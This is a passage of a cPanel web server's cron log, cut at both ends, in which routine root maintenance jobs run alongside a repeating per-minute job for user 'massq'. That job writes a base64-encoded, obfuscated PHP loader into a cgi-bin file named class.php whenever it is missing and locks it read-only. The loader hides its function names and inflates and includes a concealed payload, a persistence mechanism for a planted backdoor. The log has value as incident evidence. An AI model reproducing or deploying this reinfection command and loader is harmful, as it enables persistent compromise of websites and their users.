BF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:25:01 server CROND[26667]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 00:25:01 server CROND[26662]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:26:01 server CROND[27512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:26:01 server CROND[27513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:26:01 server CROND[27514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:27:01 server CROND[27908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:27:01 server CROND[27909]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:27:01 server CROND[27907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:27:01 server CROND[27910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:28:02 server CROND[28293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:28:02 server CROND[28294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:28:02 server CROND[28295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:29:01 server CROND[28734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:29:01 server CROND[28733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:29:01 server CROND[28735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:30:01 server CROND[29231]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:30:01 server CROND[29232]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 00:30:01 server CROND[29233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:30:01 server CROND[29236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:30:01 server CROND[29234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:30:01 server CROND[29238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:30:01 server CROND[29241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:30:01 server CROND[29244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:30:01 server CROND[29240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:31:01 server CROND[30104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:31:01 server CROND[30106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:31:01 server CROND[30105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:32:01 server CROND[30491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:32:01 server CROND[30492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:32:01 server CROND[30494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:33:01 server CROND[30871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:33:01 server CROND[30872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:33:01 server CROND[30873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:34:01 server CROND[31258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:34:01 server CROND[31259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:34:01 server CROND[31260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:35:01 server CROND[31740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:35:01 server CROND[31742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:35:01 server CROND[31750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:35:01 server CROND[31754]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:35:01 server CROND[31761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:35:01 server CROND[31760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:35:01 server CROND[31762]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 00:35:01 server CROND[31758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:35:01 server CROND[31764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:36:01 server CROND[32591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:36:01 server CROND[32590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:36:01 server CROND[32592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:37:01 server CROND[431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y